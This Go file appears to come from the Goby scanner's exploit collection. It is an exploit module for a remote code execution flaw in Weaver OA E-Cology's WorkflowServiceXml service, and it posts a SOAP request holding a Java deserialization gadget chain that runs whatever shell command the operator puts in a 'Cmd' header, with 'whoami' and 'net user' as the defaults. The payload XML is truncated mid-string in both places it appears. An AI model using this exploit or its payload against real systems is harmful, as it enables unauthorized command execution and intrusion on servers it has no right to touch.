mirror of https://github.com/qwqdanchun/Goby.git
112 lines
84 KiB
Go
112 lines
84 KiB
Go
|
package exploits
|
||
|
|
||
|
import (
|
||
|
"fmt"
|
||
|
"git.gobies.org/goby/goscanner/goutils"
|
||
|
"git.gobies.org/goby/goscanner/jsonvul"
|
||
|
"git.gobies.org/goby/goscanner/scanconfig"
|
||
|
"git.gobies.org/goby/httpclient"
|
||
|
"strings"
|
||
|
)
|
||
|
|
||
|
func init() {
|
||
|
expJson := `{
|
||
|
"Name": "Weaver OA E-Cology Workflowservicexml RCE",
|
||
|
"Description": "Weaver OA E-Cology Workflowservicexml RCE",
|
||
|
"Product": "Weaver OA E-Cology",
|
||
|
"Homepage": "https://www.weaver.com.cn/",
|
||
|
"DisclosureDate": "2021-05-19",
|
||
|
"Author": "PeiQi",
|
||
|
"GobyQuery": "app=\"Weaver-OA\"",
|
||
|
"Level": "3",
|
||
|
"Impact": "RCE",
|
||
|
"Recommendation": "",
|
||
|
"References": [
|
||
|
"http://wiki.peiqi.tech"
|
||
|
],
|
||
|
"HasExp": true,
|
||
|
"ExpParams": [
|
||
|
{
|
||
|
"name": "Cmd",
|
||
|
"type": "input",
|
||
|
"value": "whoami"
|
||
|
}
|
||
|
],
|
||
|
"ExpTips": {
|
||
|
"Type": "",
|
||
|
"Content": ""
|
||
|
},
|
||
|
"ScanSteps": [
|
||
|
"AND",
|
||
|
{
|
||
|
"Request": {
|
||
|
"data": "",
|
||
|
"data_type": "text",
|
||
|
"follow_redirect": true,
|
||
|
"method": "GET",
|
||
|
"uri": "/"
|
||
|
},
|
||
|
"ResponseTest": {
|
||
|
"checks": [
|
||
|
{
|
||
|
"bz": "",
|
||
|
"operation": "==",
|
||
|
"type": "item",
|
||
|
"value": "200",
|
||
|
"variable": "$code"
|
||
|
}
|
||
|
],
|
||
|
"operation": "AND",
|
||
|
"type": "group"
|
||
|
}
|
||
|
}
|
||
|
],
|
||
|
"ExploitSteps": null,
|
||
|
"Tags": ["RCE"],
|
||
|
"CVEIDs": null,
|
||
|
"CVSSScore": "0.0",
|
||
|
"AttackSurfaces": {
|
||
|
"Application": ["Weaver OA"],
|
||
|
"Support": null,
|
||
|
"Service": null,
|
||
|
"System": null,
|
||
|
"Hardware": null
|
||
|
}
|
||
|
}`
|
||
|
|
||
|
ExpManager.AddExploit(NewExploit(
|
||
|
goutils.GetFileName(),
|
||
|
expJson,
|
||
|
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
|
||
|
uri := "/services%20/WorkflowServiceXml"
|
||
|
cfg := httpclient.NewPostRequestConfig(uri)
|
||
|
cfg.VerifyTls = false
|
||
|
cfg.FollowRedirect = false
|
||
|
cfg.Header.Store("Content-type", "text/xml")
|
||
|
cfg.Header.Store("Cmd", "net user")
|
||
|
cfg.Data = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:web=\"webservices.services.weaver.com.cn\"><soapenv:Header/><soapenv:Body><web:doCreateWorkflowRequest><web:string><java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.proce
|
||
|
if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
|
||
|
fmt.Println(resp)
|
||
|
return resp.StatusCode == 500 && strings.Contains(resp.RawBody, "VulTest")
|
||
|
}
|
||
|
return false
|
||
|
},
|
||
|
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
|
||
|
cmd := ss.Params["Cmd"].(string)
|
||
|
uri := "/services%20/WorkflowServiceXml"
|
||
|
cfg := httpclient.NewPostRequestConfig(uri)
|
||
|
cfg.VerifyTls = false
|
||
|
cfg.FollowRedirect = false
|
||
|
cfg.Header.Store("Content-type", "text/xml")
|
||
|
cfg.Header.Store("Cmd", cmd)
|
||
|
cfg.Data = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:web=\"webservices.services.weaver.com.cn\"><soapenv:Header/><soapenv:Body><web:doCreateWorkflowRequest><web:string><java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.proce
|
||
|
if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
|
||
|
if resp.StatusCode == 500 && strings.Contains(resp.RawBody, "VulTest"){
|
||
|
expResult.Output = resp.Utf8Html
|
||
|
expResult.Success = true
|
||
|
}
|
||
|
}
|
||
|
return expResult
|
||
|
},
|
||
|
))
|
||
|
}
|